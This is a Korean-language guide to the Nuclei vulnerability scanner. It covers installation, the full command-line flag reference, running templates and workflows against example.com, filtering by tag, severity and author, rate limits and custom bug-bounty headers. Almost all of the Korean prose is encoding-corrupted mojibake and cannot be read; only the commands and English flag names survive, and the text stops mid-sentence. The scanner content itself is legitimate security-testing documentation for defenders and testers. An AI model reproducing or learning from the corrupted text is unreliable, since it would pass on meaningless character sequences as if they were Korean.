Nuclei๋ฅผ ์ฑ๊ณต์ ์ผ๋ก ์ค์นํ๊ธฐ ์ํด์๋ ์ต์ ๋ฒ์ ์ **Go** ๊ฐ ํ์ํฉ๋๋ค.=== "Brew"
```
brew install nuclei
```
!!! info
**macOS** (or Linux) ๋ฅผ ์ง์ํฉ๋๋ค.=== "Docker"
```
docker pull projectdiscovery/nuclei:latest
```=== "Github"
```
git clone https://github.com/projectdiscovery/nuclei.git; \
cd nuclei/v2/cmd/nuclei; \
go build; \
mv nuclei /usr/local/bin/; \
nuclei -version;
```
!!! info
Nuclei๋ฅผ ์ฑ๊ณต์ ์ผ๋ก ์ค์นํ๊ธฐ ์ํด์๋ ์ต์ ๋ฒ์ ์ **Go** ๊ฐ ํ์ํฉ๋๋ค.=== "Binary"
```
https://github.com/projectdiscovery/nuclei/releases
```
!!! tip
- OS์ ๋ฐ๋ผ ์ต์ ๋ฒ์ ์ ์คํํ์ผ์ ๋ค์ด๋ก๋ ํฉ๋๋ค.
- ์คํํ๊ธฐ ์ํด์ ์์ถ์ ํด์ ํฉ๋๋ค.Nuclei **ํ ํ๋ฆฟ**
Nuclei๋ 2.4.0๋ฒ์ ๋ถํฐ ํ ํ๋ฆฟ์ ์๋ ์ ๋ฐ์ดํธ/๋ค์ด๋ก๋๋ฅผ ์ง์ํฉ๋๋ค. Nuclei-Templates ํ๋ก์ ํธ๋ ์ง์์ ์ผ๋ก ์ ๋ฐ์ดํธ๋๋ ํ ํ๋ฆฟ ๋ฆฌ์คํธ๋ฅผ ์ ๊ณตํฉ๋๋ค. ํด๋น ๋ฆฌ์คํธ๋ ์ปค๋ฎค๋ํฐ์์ ๊ธฐ์ฌํด์ฃผ๊ณ ์์ต๋๋ค.
Nuclei๋ ์คํ๋ง๋ค ์์ฑ๋๋ ์๋ก์ด ํ
ํ๋ฆฟ์ ์ฒดํฌํ๊ณ ์ฌ์ฉ ๊ฐ๋ฅํ ๋ ์๋์ผ๋ก ์ต์ ๋ฒ์ ์ ๋ค์ด๋ก๋ ๋ฐ์ต๋๋ค. ์ด ๊ธฐ๋ฅ์ ํฐ๋ฏธ๋ ํน์ ์ค์ ํ์ผ์์ -duc, -disable-update-check ํ๋๊ทธ๋ฅผ ์ฌ์ฉํ์ฌ ์ ์ฉํ์ง ์์ ์ ์์ต๋๋ค.
Nuclei ์์ง์ -update ํ๋๊ทธ๋ฅผ ์ฌ์ฉํ์ฌ ์ต์ ๋ฒ์ ์ผ๋ก ์
๋ฐ์ดํธํ ์ ์์ต๋๋ค.
!!! tip
์์ ๋ง์ ๋
ํนํ ํ
ํ๋ฆฟ์ ์์ฑํ๋ ๊ฒ์ ํญ์ ๋ค๋ฅธ ์ด๋ค๋ณด๋ค ์์ ์ ์์๊ฒ ํด์ค ๊ฒ์
๋๋ค.
**Nuclei** ์ฌ์ฉ๋ฒ
nuclei -h์ด ๋ช ๋ น์ด๋ nuclei์ ์ฌ์ฉ๋ฒ์ ๋ณด์ฌ์ค๋๋ค. ์๋๋ ์ง์ํ๊ณ ์๋ ๊ธฐ๋ฅ๋ค์ ๋ณด์ฌ์ค๋๋ค.
Nuclei is a fast, template based vulnerability scanner focusing
on extensive configurability, massive extensibility and ease of use.
Usage:
nuclei [flags]
Flags:
TARGET:
-u, -target string[] ์ค์บํ URLs/hosts ๋์
-l, -list string ์ค์บํ URLs/hosts ๋์ ๋ชฉ๋ก์ด ํฌํจ๋ ํ์ผ ๊ฒฝ๋ก(์ค๋น ํ๋์ฉ)
-resume string resume.cfg๋ฅผ ์ฌ์ฉํ ์ค์บ ์ฌ๊ฐ(ํด๋ฌ์คํฐ๋ง์ด ๋นํ์ฑํ๋จ)
TEMPLATES:
-nt, -new-templates nuclei-templates์ ๊ฐ์ฅ ์ต๊ทผ์ ์ถ๊ฐ๋ ์ ํ
ํ๋ฆฟ๋ง ์คํ
-as, -automatic-scan ํ๊ทธ ๋งคํ์ ๋ํ wappalyzer ๊ธฐ์ ํ์ง๋ฅผ ์ฌ์ฉํ ์๋ ์น ์ค์บ
-t, -templates string[] ์คํํ ํ
ํ๋ฆฟ ๋๋ ํ
ํ๋ฆฟ ๋๋ ํฐ๋ฆฌ ๋ชฉ๋ก(์ผํ๋ก ๊ตฌ๋ถ๋ ํ์ผ)
-tu, -template-url string[] ์คํํ ํ
ํ๋ฆฟ URL ๋ชฉ๋ก(์ผํ๋ก ๊ตฌ๋ถ๋ ํ์ผ)
-w, -workflows string[] ์คํํ ์ํฌํ๋ก ๋๋ ์ํฌํ๋ก ๋๋ ํฐ๋ฆฌ ๋ชฉ๋ก(์ผํ๋ก ๊ตฌ๋ถ๋ ํ์ผ)
-wu, -workflow-url string[] ์คํํ ์ํฌํ๋ก URL ๋ชฉ๋ก(์ผํ๋ก ๊ตฌ๋ถ๋ ํ์ผ)
-validate nuclei๋ก ์ ๋ฌ๋ ํ
ํ๋ฆฟ ๊ฒ์ฆ
-tl ์ฌ์ฉ ๊ฐ๋ฅํ ๋ชจ๋ ํ
ํ๋ฆฟ ๋ชฉ๋ก
FILTERING:
-a, -author string[] ์์ฑ์๋ฅผ ๊ธฐ์ค์ผ๋ก ์คํํ ํ
ํ๋ฆฟ(์ผํ๋ก ๊ตฌ๋ถ๋ ํ์ผ)
-tags string[] ํ๊ทธ๋ฅผ ๊ธฐ์ค์ผ๋ก ์คํํ ํ
ํ๋ฆฟ(์ผํ๋ก ๊ตฌ๋ถ๋ ํ์ผ)
-etags, -exclude-tags string[] ํ๊ทธ๋ฅผ ๊ธฐ์ค์ผ๋ก ์ ์ธํ ํ
ํ๋ฆฟ(์ผํ๋ก ๊ตฌ๋ถ๋ ํ์ผ)
-itags, -include-tags string[] ํ๊ทธ๊ฐ ๊ธฐ๋ณธ ๋๋ ๊ตฌ์ฑ์ ์ํด ์ ์ธ๋ ๊ฒฝ์ฐ์๋ ์คํ๋จ
-id, -template-id string[] ํ
ํ๋ฆฟ ID๋ค์ ๊ธฐ์ค์ผ๋ก ์คํํ ํ
ํ๋ฆฟ(์ผํ๋ก ๊ตฌ๋ถ๋ ํ์ผ)
-eid, -exclude-id string[] ํ
ํ๋ฆฟ ID๋ค์ ๊ธฐ์ค์ผ๋ก ์ ์ธํ ํ
ํ๋ฆฟ(์ผํ๋ก ๊ตฌ๋ถ๋ ํ์ผ)
-it, -include-templates string[] ํ
ํ๋ฆฟ์ด ๊ธฐ๋ณธ ๋๋ ๊ตฌ์ฑ์ ์ํด ์ ์ธ๋ ๊ฒฝ์ฐ์๋ ์คํ๋จ
-et, -exclude-templates string[] ์ ์ธํ ํ
ํ๋ฆฟ ๋๋ ํ
ํ๋ฆฟ ๋๋ ํฐ๋ฆฌ(ํ์ผ๋ก ๊ตฌ๋ถ๋จ, ํ์ผ)
-s, -severity value[] ์ฌ๊ฐ๋๋ฅผ ๊ธฐ์ค์ผ๋ก ์คํํ ํ
ํ๋ฆฟ. ๊ฐ๋ฅํ ๊ฐ: info, low, medium, high, critical, unknown
-es, -exclude-severity value[] ์ฌ๊ฐ๋๋ฅผ ๊ธฐ์ค์ผ๋ก ์ ์ธํ ํ
ํ๋ฆฟ. ๊ฐ๋ฅํ ๊ฐ: info, low, medium, high, critical, unknown
-pt, -type value[] ํ๋กํ ์ฝ ์ ํ์ ๊ธฐ์ค์ผ๋ก ์คํํ ํ
ํ๋ฆฟ. ๊ฐ๋ฅํ ๊ฐ: dns, file, http, headless, network, workflow, ssl, websocket, whois
-ept, -exclude-type value[] ํ๋กํ ์ฝ ์ ํ์ ๋ฐ๋ผ ์ ์ธํ ํ
ํ๋ฆฟ. ๊ฐ๋ฅํ ๊ฐ: dns, file, http, headless, network, workflow, ssl, websocket, whois
OUTPUT:
-o, -output string ๋ฐ๊ฒฌ๋ ๋ฌธ์ /์ทจ์ฝ์ ๋ฅผ ์ฐ๊ธฐ ์ํ ์ถ๋ ฅ ํ์ผ
-sresp, -store-resp nuclei์ ํตํด ์ ๋ฌ๋ ๋ชจ๋ ์์ฒญ/์๋ต์ ์ถ๋ ฅ ๋๋ ํฐ๋ฆฌ์ ์ ์ฅ
-srd, -store-resp-dir string nuclei์ ํตํด ์ ๋ฌ๋ ๋ชจ๋ ์์ฒญ/์๋ต์ ์ฌ์ฉ์ ์ง์ ๋๋ ํฐ๋ฆฌ์ ์ ์ฅ(๊ธฐ๋ณธ "output")
-silent ๊ฒฐ๊ณผ๋ง ํ์
-nc, -no-color ์ถ๋ ฅ ๋ด์ฉ ์์ ๋นํ์ฑํ (ANSI escape codes)
-json JSONL(ines) ํ์์ผ๋ก ์ถ๋ ฅ
-irr, -include-rr JSONL ์ถ๋ ฅ์ ์์ฒญ/์๋ต ์ ํฌํจ(๊ฒฐ๊ณผ๋ง)
-nm, -no-meta cli ์ถ๋ ฅ์์ ๊ฒฐ๊ณผ ๋ฉํ๋ฐ์ดํฐ ์ถ๋ ฅ ๋นํ์ฑํ
-nts, -no-timestamp cli ์ถ๋ ฅ์์ ๊ฒฐ๊ณผ ํ์์คํฌํ ์ถ๋ ฅ ๋นํ์ฑํ
-rdb, -report-db string nuclei ๋ณด๊ณ ๋ฐ์ดํฐ๋ฒ ์ด์ค(๋ณด๊ณ ์ ๋ฐ์ดํฐ๋ฅผ ์ ์งํ๋ ค๋ฉด ํญ์ ์ด๊ฒ์ ์ฌ์ฉ)
-ms, -matcher-status ๋งค์น ์คํจ ์ํ ํ์
-me, -markdown-export string ๋งํฌ๋ค์ด ํ์์ผ๋ก ๊ฒฐ๊ณผ๋ฅผ ๋ด๋ณด๋ผ ๋๋ ํฐ๋ฆฌ
-se, -sarif-export string ๊ฒฐ๊ณผ๋ฅผ SARIF ํ์์ผ๋ก ๋ด๋ณด๋ด๋ ํ์ผ
CONFIGURATIONS:
-config string nuclei ํ๊ฒฝ ์ค์ ํ์ผ ๊ฒฝ๋ก
-fr, -follow-redirects http ํ
ํ๋ฆฟ์ following redirects ํ์ฑํ
-mr, -max-redirects int http ํ
ํ๋ฆฟ์ ๋ฐ๋ผ์ผ ํ ์ต๋ ๋ฆฌ๋๋ ์
์(๊ธฐ๋ณธ๊ฐ 10)
-dr, -disable-redirects http ํ
ํ๋ฆฟ์ ๋ํ ๋ฆฌ๋๋ ์
๋นํ์ฑํ
-rc, -report-config string nuclei ๋ณด๊ณ ๋ชจ๋ ํ๊ฒฝ ์ค์ ํ์ผ
-H, -header string[] ํค๋:๊ฐ ํ์์ ๋ชจ๋ http ์์ฒญ์ ํฌํจํ ์ฌ์ฉ์ ์ ์ ํค๋/์ฟ ํค(cli, file)
-V, -var value ํค=๊ฐ ํ์์ ์ฌ์ฉ์ ์ ์ ๋ณ์
-r, -resolvers string nuclei์ ๋ํ ๋ฆฌ์กธ๋ฒ ๋ชฉ๋ก์ด ํฌํจ๋ ํ์ผ
-sr, -system-resolvers ์๋ฌ fallback์ผ๋ก ์์คํ
DNS ๋ฆฌ์กธ๋น ์ฌ์ฉ
-passive ์๋ HTTP ์๋ต ์ฒ๋ฆฌ ๋ชจ๋ ํ์ฑํ
-ev, -env-vars ํ
ํ๋ฆฟ์์ ํ๊ฒฝ ๋ณ์๋ฅผ ์ฌ์ฉํ ์ ์๋๋ก ์ค์
-cc, -client-cert string ์ค์บ๋ ํธ์คํธ์ ์ธ์ฆํ๋ ๋ฐ ์ฌ์ฉ๋๋ ํด๋ผ์ด์ธํธ ์ธ์ฆ์ ํ์ผ(PEM-encoded)
-ck, -client-key string ์ค์บ๋ ํธ์คํธ์ ์ธ์ฆํ๋ ๋ฐ ์ฌ์ฉ๋๋ ํด๋ผ์ด์ธํธ key ํ์ผ(PEM-encoded)
-ca, -client-ca string ์ค์บ๋ ํธ์คํธ์ ์ธ์ฆํ๋ ๋ฐ ์ฌ์ฉ๋๋ ํด๋ผ์ด์ธํธ ์ธ์ฆ ๊ธฐ๊ด ํ์ผ(PEM-encoded)
-sml, -show-match-line ํ์ผ ํ
ํ๋ฆฟ์ ๋ํด ์ผ์นํ๋ ์ค ํ์, extractors์์๋ง ์๋
-ztls tls13์ ํ์ค์ผ๋ก autofallback๊ณผ ํจ๊ป ztls ๋ผ์ด๋ธ๋ฌ๋ฆฌ ์ฌ์ฉ
-sni string ์ฌ์ฉํ tls sni ํธ์คํธ ์ด๋ฆ(๊ธฐ๋ณธ: ์
๋ ฅํ ๋๋ฉ์ธ ์ด๋ฆ)
INTERACTSH:
-iserver, -interactsh-server string ์์ฒด ํธ์คํ
๋ ์ธ์คํด์ค์ ๋ํ interactsh ์๋ฒ URL (๊ธฐ๋ณธ: oast.pro,oast.live,oast.site,oast.online,oast.fun,oast.me)
-itoken, -interactsh-token string ์์ฒด ํธ์คํ
๋ interactsh ์๋ฒ์ ๋ํ ์ธ์ฆ ํ ํฐ
-interactions-cache-size int ์ํธ ์์ฉ ์บ์์ ์ ์งํ ์์ฒญ ์ (๊ธฐ๋ณธ 5000)
-interactions-eviction int ์บ์์์ ์์ฒญ์ ์ ๊ฑฐํ๊ธฐ ์ ์ ๋๊ธฐํ ์๊ฐ(์ด) (๊ธฐ๋ณธ 60)
-interactions-poll-duration int ๊ฐ ์ํธ ์์ฉ ํด๋ง ์์ฒญ ์ ์ ๋๊ธฐํ ์๊ฐ(์ด) (๊ธฐ๋ณธ 5)
-interactions-cooldown-period int ์ข
๋ฃ ์ ์ํธ์์ฉ ํด๋ง์ ์ํ ์ถ๊ฐ ์๊ฐ (๊ธฐ๋ณธ 5)
-ni, -no-interactsh OAST ํ
์คํธ๋ฅผ ์ํด interactsh ์๋ฒ ๋นํ์ฑํ, OAST ๊ธฐ๋ฐ ํ
ํ๋ฆฟ ์ ์ธ
RATE-LIMIT:
-rl, -rate-limit int ์ด๋น ๋ณด๋ผ ์ต๋ ์์ฒญ ์ (๊ธฐ๋ณธ 150)
-rlm, -rate-limit-minute int ๋ถ๋น ๋ณด๋ผ ์ต๋ ์์ฒญ ์
-bs, -bulk-size int ํ
ํ๋ฆฟ๋น ๋ณ๋ ฌ๋ก ๋ถ์ํ ์ต๋ ํธ์คํธ ์ (๊ธฐ๋ณธ 25)
-c, -concurrency int ๋ณ๋ ฌ๋ก ์คํํ ์ต๋ ํ
ํ๋ฆฟ ์ (๊ธฐ๋ณธ 25)
-hbs, -headless-bulk-size int ํ
ํ๋ฆฟ๋น ๋ณ๋ ฌ๋ก ๋ถ์ํ ์ต๋ headless ํธ์คํธ ์ (๊ธฐ๋ณธ 10)
-hc, -headless-concurrency int ๋ณ๋ ฌ๋ก ์คํํ ์ต๋ headless ํ
ํ๋ฆฟ ์ (๊ธฐ๋ณธ 10)
OPTIMIZATIONS:
-timeout int ํ์์์ ์ ๋๊ธฐ ์๊ฐ(์ด) (๊ธฐ๋ณธ 5)
-retries int ์คํจํ ์์ฒญ์ ์ฌ์๋ํ๋ ํ์ (๊ธฐ๋ณธ 1)
-ldp, -leave-default-ports leave default HTTP/HTTPS ports (eg. host:80,host:443
-mhe, -max-host-error int ์ค์บ์ ๊ฑด๋๋ฐ๊ธฐ ์ ์ ํธ์คํธ์ ๋ํ ์ต๋ ์ค๋ฅ ์ (๊ธฐ๋ณธ 30)
-nmhe, -no-mhe disable skipping host from scan based on errors
-project ํ๋ก์ ํธ ํด๋๋ฅผ ์ฌ์ฉํ์ฌ ๋์ผํ ์์ฒญ์ ์ฌ๋ฌ ๋ฒ ๋ณด๋ด์ง ์์
-project-path string ํน์ ํ๋ก์ ํธ ๊ฒฝ๋ก ์ค์
-spm, -stop-at-first-path ์ฒซ ๋ฒ์งธ ์ผ์น ํ HTTP ์์ฒญ ์ฒ๋ฆฌ ์ค์ง (template/workflow ๋ก์ง์ด ์ค๋จ๋ ์ ์์)
-stream stream ๋ชจ๋ - ์
๋ ฅ์ ์ ๋ ฌํ์ง ์๊ณ elaborating ์์
HEADLESS:
-headless ํค๋๋ฆฌ์ค ๋ธ๋ผ์ฐ์ ์ง์์ด ํ์ํ ํ
ํ๋ฆฟ ํ์ฑํ(root user on linux will disable sandbox)
-page-timeout int ํค๋๋ฆฌ์ค ๋ชจ๋์์ ๊ฐ ํ์ด์ง๋ฅผ ๊ธฐ๋ค๋ฆฌ๋ ์๊ฐ(์ด)(๊ธฐ๋ณธ 20)
-sb, -show-browser ํค๋๋ฆฌ์ค ๋ชจ๋๋ก ํ
ํ๋ฆฟ์ ์คํํ ๋ ํ๋ฉด์ ๋ธ๋ผ์ฐ์ ํ์
-sc, -system-chrome ์ค์น๋ nuclei ๋์ ๋ก์ปฌ์ ์ค์น๋ chrome ๋ธ๋ผ์ฐ์ ์ฌ์ฉ
DEBUG:
-debug ๋ชจ๋ ์์ฒญ ๋ฐ ์๋ต ํ์
-dreq, -debug-req ๋ณด๋ธ ๋ชจ๋ ์์ฒญ ํ์
-dresp, -debug-resp ๋ฐ์ ๋ชจ๋ ์๋ต ํ์
-p, -proxy string[] ์ฌ์ฉํ http/socks5 ํ๋ก์ ๋ชฉ๋ก(์ผํ๋ก ๊ตฌ๋ถํ๊ฑฐ๋ ํ์ผ ์
๋ ฅ)
-pi, -proxy-internal ๋ชจ๋ ๋ด๋ถ ์์ฒญ์ ํ๋ก์
-tlog, -trace-log string ๋ณด๋ธ ์์ฒญ ์ถ์ ๋ก๊ทธ๋ฅผ ๊ธฐ๋กํ ํ์ผ
-elog, -error-log string ๋ณด๋ธ ์์ฒญ ์ค๋ฅ ๋ก๊ทธ๋ฅผ ๊ธฐ๋กํ ํ์ผ
-version nuclei ๋ฒ์ ์ถ๋ ฅ
-hm, -hang-monitor nuclei hang monitoring ํ์ฑํ
-v, -verbose ์์ธ ์ถ๋ ฅ ํ์
-vv ์ค์บ์ ์ํด ๋ก๋๋ ๋์คํ๋ ์ด ํ
ํ๋ฆฟ ํ์
-ep, -enable-pprof pprof debugging server ํ์ฑํ
-tv, -templates-version ์ค์น๋ nuclei-templates ๋ฒ์ ์ถ๋ ฅ
UPDATE:
-update ์ต์ ๋ฆด๋ฆฌ์ค ๋ฒ์ ์ผ๋ก nuclei ์์ง ์
๋ฐ์ดํธ
-ut, -update-templates ์ต์ ๋ฆด๋ฆฌ์ค ๋ฒ์ ์ผ๋ก nuclei-templates ์์ง ์
๋ฐ์ดํธ
-ud, -update-directory string nuclei-templates๋ฅผ ์ค์นํ ๊ธฐ๋ณธ ๋๋ ํฐ๋ฆฌ๋ฅผ ๋ฎ์ด์
-duc, -disable-update-check ์๋ nuclei/templates ์
๋ฐ์ดํธ ํ์ธ ๋นํ์ฑํ
STATISTICS:
-stats ์คํ ์ค์ธ ์ค์บ์ ๋ํ ํต๊ณ ํ์
-sj, -stats-json JSONL(ines) ํ์์ผ๋ก ์ถ๋ ฅ ํ์ผ์ ํต๊ณ ๋ฐ์ดํฐ ์ฐ๊ธฐ
-si, -stats-interval int ํต๊ณ ์
๋ฐ์ดํธ๋ฅผ ํ์ํ ๋๊น์ง ๋๊ธฐํ๋ ์๊ฐ(์ด) (๊ธฐ๋ณธ 5)
-m, -metrics ํฌํธ(๊ธฐ๋ณธ 9092)์์ ์คํ ์ค์ธ scan matrics ๋ณด๊ธฐ
-mp, -metrics-port int nuclei metrics ํฌํธ ์ค์ (๊ธฐ๋ณธ 9092)**Nuclei** ์คํ
Nuclei ํ ํ๋ฆฟ์ ํฌ๊ฒ ๋ ๊ฐ์ง ๋ฐฉ๋ฒ์ผ๋ก ์คํ ๋ ์ ์์ต๋๋ค.
- Templates (
-t/templates)
๊ธฐ๋ณธ์ ์ผ๋ก, ๋ชจ๋ ํ ํ๋ฆฟ (nuclei-ignore ๋ฆฌ์คํธ๋ฅผ ์ ์ธํ) ๋ค์ ๊ธฐ๋ณธ ํ ํ๋ฆฟ ์ค์น ๊ฒฝ๋ก์์ ์คํ๋ฉ๋๋ค.
nuclei -u https://example.com๋ณ๋์ ํ ํ๋ฆฟ ํด๋ ํน์ ๋ค์์ ํ ํ๋ฆฟ ํด๋๋ ๋ค์๊ณผ ๊ฐ์ด ์คํ๋ ์ ์์ต๋๋ค.
nuclei -u https://example.com -t cves/ -t exposures/URL ๋ฆฌ์คํธ์ ๋ํด์๋ ํ ํ๋ฆฟ๋ค์ ์คํ๋ ์ ์์ต๋๋ค.
nuclei -list http_urls.txt- Workflows (
-w/workflows)
nuclei -u https://example.com -w workflows/URL ๋ฆฌ์คํธ์ ๋ํด์๋ Workflows๋ค์ ์คํ๋ ์ ์์ต๋๋ค.
nuclei -list http_urls.txt -w workflows/wordpress-workflow.yamlNuclei **ํํฐ**
Nuclei ์์ง์ ํ ํ๋ฆฟ ์คํ์ ์ปค์คํ ํ๊ธฐ ์ํด์ 3๊ฐ์ ๊ธฐ๋ณธ ํํฐ๋ฅผ ์ ๊ณตํฉ๋๋ค.
Tags (
-tags)ํ ํ๋ฆฟ์์ ์ฌ์ฉ๊ฐ๋ฅํ ํ๊ทธ ์์ฑ์ ๊ธฐ๋ฐํ ํํฐ
Severity (
-severity)ํ ํ๋ฆฟ์์ ์ฌ์ฉ๊ฐ๋ฅํ ์ฌ๊ฐ๋ ์์ฑ์ ๊ธฐ๋ฐํ ํํฐ
Author (
-author)ํ ํ๋ฆฟ์์ ์ฌ์ฉ๊ฐ๋ฅํ ์์ฑ์ ์์ฑ์ ๊ธฐ๋ฐํ ํํฐ
๊ธฐ๋ณธ์ ์ผ๋ก, ํํฐ๋ค์ ํ ํ๋ฆฟ ์ค์น ๊ฒฝ๋ก์ ์ ์ฉ๋๊ณ , ์๋ ํ ํ๋ฆฟ ๊ฒฝ๋ก ์ ๋ ฅ์ ์ฌ์ฉํ์ฌ ์ปค์คํ ํ ์ ์์ต๋๋ค.
์๋ฅผ ๋ค์ด, ์๋์ ๋ช
๋ น์ ~/nuclei-templates/ ํด๋์ ์ค์น๋ ํ
ํ๋ฆฟ๋ค ์ค์์ cve ํ๊ทธ๋ฅผ ๊ฐ์ง ํ
ํ๋ฆฟ๋ค์ ์คํ์ํต๋๋ค.
nuclei -u https://example.com -tags cve๊ทธ๋ฆฌ๊ณ ๋ค์์ ~/nuclei-templates/exposures/ ํด๋์ config ํ๊ทธ๋ฅผ ๊ฐ์ง ๋ชจ๋ ์ฌ์ฉ๊ฐ๋ฅํ ํ
ํ๋ฆฟ๋ค์ ์คํํ๋ ์์
๋๋ค.
nuclei -u https://example.com -tags config -t exposures/๋ค์์ ํํฐ๋ฅผ AND ์กฐ๊ฑด์ผ๋ก ํจ๊ป ์ฌ์ฉ์ด ๊ฐ๋ฅํฉ๋๋ค. ๋ค์์ cve ํ๊ทธ๋ฅผ ๊ฐ์ก๊ณ , critical ๋๋ high ์ ์ฌ๊ฐ๋๋ฅผ ๊ฐ์ก๊ณ , ์์ฑ์๊ฐ geeknik์ธ ๋ชจ๋ ํ
ํ๋ฆฟ์ ์คํํ๋ ์์
๋๋ค.
nuclei -u https://example.com -tags cve -severity critical,high -author geeknik๋ค์์ ํํฐ๋ ํ
ํ๋ฆฟ ์กฐ๊ฑด ํ๋๊ทธ (tc)๋ฅผ ์ด์ฉํด ์กฐํฉํ์ฌ ์ฌ์ฉํ ์ ์์ต๋๋ค. ํ
ํ๋ฆฟ ์กฐ๊ฑด ํ๋๊ทธ์ผ๋ก ๋ค์๊ณผ ๊ฐ์ ๋ณต์กํ ํํ์์ ์ฌ์ฉํ ์ ์์ต๋๋ค.
nuclei -tc "contains(id,'xss') || contains(tags,'xss')"
nuclei -tc "contains(tags,'cve') && contains(tags,'ssrf')"
nuclei -tc "contains(name, 'Local File Inclusion')"ํํฐ๋ง์ ์ง์ํ๋ ์์ฑ ๋ชฉ๋ก์ ๋๋ค.
idstringnamestringdescriptionstringtagsslice of stringsauthorsslice of stringsseveritystringprotocolstringhttp_methodslice of stringsbodystring (containing all request bodies if any)matcher_typeslice of stringextractor_typeslice of stringdescriptionstring
๋ํ, ํ
ํ๋ฆฟ์ ๋ฉํ๋ฐ์ดํฐ ์์ญ์ ํค-๊ฐ์ผ๋ก ๊ตฌ์ฑ๋ ๋ชจ๋ ์์ด ๊ฐ๋ฅํฉ๋๋ค. ๋ชจ๋ ์์ฑ๋ค์ ๋
ผ๋ฆฌ ์ฐ์ฐ์(|| ์ &&) ๋ฅผ ํตํด ์กฐํฉ๋ ์ ์๊ณ , DSL helper ํจ์๋ค๊ณผ ํจ๊ป ์ฌ์ฉ๋ ์ ์์ต๋๋ค.
๋ชจ๋ ํํฐ๋ค์ workflows ์์๋ ๋ง์ฐฌ๊ฐ์ง๋ก ์ง์๋ฉ๋๋ค.
nuclei -w workflows/wordpress-workflow.yaml -severity critical,high -list http_urls.txt!!! info "Workflows"
Workflows์์๋ Workflows๋ฅผ ํตํด ์คํ๋๋ ํ
ํ๋ฆฟ, ์๋ธํ
ํ๋ฆฟ์ Nuclei ํํฐ๊ฐ ์ ์ฉ๋ฉ๋๋ค.
์๋ **์ ํ**
Nuclei๋ ๋ค์ํ ์์ธ์ผ๋ก ๋ค์ค ์๋ ์ ํ ์ ์ด๋ฅผ ํฉ๋๋ค. ์์ธ์ผ๋ก๋ ๋ณ๋ ฌ๋ก ์คํํ ํ ํ๋ฆฟ ์, ๊ฐ ํ ํ๋ฆฟ์ ๋ํด ๋ณ๋ ฌ๋ก ๊ฒ์ํ ํธ์คํธ ์, Nuclei๋ฅผ ์ด์ฉํ์ฌ ์์ฑํ๊ฑฐ๋ ์ ํํ๊ณ ์ ํ ์ด๋น ์ด ์์ฒญ ์ ๋ฑ์ด ์์ต๋๋ค.์๋๋ ๊ฐ ํ๋๊ทธ์ ๋ํ ์ค๋ช ์ ๋๋ค.
| Flag | Description |
|---|---|
| rate-limit | ์ด๋น ์ด ์์ฒญ์ ์๋ฅผ ์ ์ดํฉ๋๋ค. |
| bulk-size | ๊ฐ ํ ํ๋ฆฟ๋ง๋ค ๋์์ ์งํํ ํธ์คํธ์ ์๋ฅผ ์ ์ดํฉ๋๋ค. |
| c | ๋์์ ์งํํ ํ ํ๋ฆฟ์ ์๋ฅผ ์ ์ดํฉ๋๋ค. |
Nuclei์ ์๋ ์ ํ๊ณผ ์ ํ๋๋ฅผ ์ด ํ๋๊ทธ๋ฅผ ์ด์ฉํ์ฌ ์์ ๋กญ๊ฒ ์กฐ์ ํ์ธ์!
!!! tip
rate-limit ํ๋๊ทธ๋ ๋ค๋ฅธ ๋ ํ๋๊ทธ๋ณด๋ค ์ฐ์ ํฉ๋๋ค. ์ด๋น ์์ฒญ์ ์๋ c ์ bulk-size ํ๋๊ทธ ๊ฐ์ ์๊ด์์ด rate-limit ๊ฐ์ ์ด๊ณผํ ์ ์์ต๋๋ค.
Traffic **Tagging**
๋ง์ ๋ฒ๊ทธ ๋ฐ์ดํฐ ํ๋ซํผ๊ณผ ํ๋ก๊ทธ๋จ๋ค์ ์๋ณ์ ์ํด ์ฌ๋ฌ๋ถ๋ค์ด ์์ฑํ HTTP ํธ๋ํฝ์ ์๊ตฌํฉ๋๋ค. ์ด๋ $HOME/.config/nuclei/config.yaml ์ ์ค์ ํ์ผ์ ์ด์ฉํ๊ฑฐ๋ -H / header CLI ํ๋๊ทธ๋ฅผ ์ด์ฉํ๋ฉด ๋ฉ๋๋ค.
!!! info "์ค์ ํ์ผ์ ์ด์ฉํ ์ฌ์ฉ์ ์ ์ ํค๋ ์ค์ "
```yaml
# Headers to include with each request.
header:
- 'X-BugBounty-Hacker: h1/geekboy'
- 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei'
```!!! info "CLI ํ๋๊ทธ๋ฅผ ์ด์ฉํ ์ฌ์ฉ์ ์ ์ ํค๋ ์ค์ "
```yaml
nuclei -header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei' -list urls.txt -tags cves
```ํ ํ๋ฆฟ **์ ์ธ**
Nuclei๋ ์คํ์ ํฌํจํ ํ ํ๋ฆฟ์ ์ ์ธ/๋ฐฉ์ง ํ๋ ๋ค์ํ ๋ฐฉ๋ฒ์ ์ ๊ณตํฉ๋๋ค. ์ค์บ์ผ๋ก ์ธํ ์์ธก๋์ง ์์ ํผ์ฆ๋ฅผ ํผํ๊ณ , ๋๋ ์ค์บ์์ ์ผ๋ถ ์ ์ธ๋ฅผ ์ํด ์คํ๋์ง ์์์ผ ํ๋ ํ๊ทธ๋ค๊ณผ ํ ํ๋ฆฟ๋ค์ Nuclei์์๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์ ์ธํฉ๋๋ค. ๊ธฐ๋ณธ ์ ์ธ ๋ชฉ๋ก์ ์๋์ ๋งํฌ๋ฅผ ํตํด ํ์ธ ๊ฐ๋ฅํฉ๋๋ค. ์ด ํ์ผ์ ์ค์ ํ์ผ ํน์ ํ๋๊ทธ๋ค์ ํตํด ์ฝ๊ฒ ๊ณ ์น ์ ์์ต๋๋ค.
- ๊ธฐ๋ณธ ์ ์ธ ๋ชฉ๋ก: Template ignore
!!! danger ""
**nuclei-ignore** ํ์ผ์ ์ฌ์ฉ์๊ฐ ์
๋ฐ์ดํธ/ํธ์ง/์ ๊ฑฐํ ์ ์์ต๋๋ค. ์ด๋ฅผ ๋ฎ์ด์ฐ๊ธฐ ์ํด์๋ [nuclei configuration](https://nuclei.projectdiscovery.io/nuclei/get-started/#nuclei-config) ํ์ผ์ ์ด์ฉํฉ๋๋ค.Nuclei๋ ๋ ๊ฐ์ง ๋ฐฉ๋ฒ์ ํตํด ์ค์บ์์ ์ ์ธํ ํ ํ๋ฆฟ์ ์กฐ์ ํ ์ ์์ต๋๋ค.
Exclude Templates (
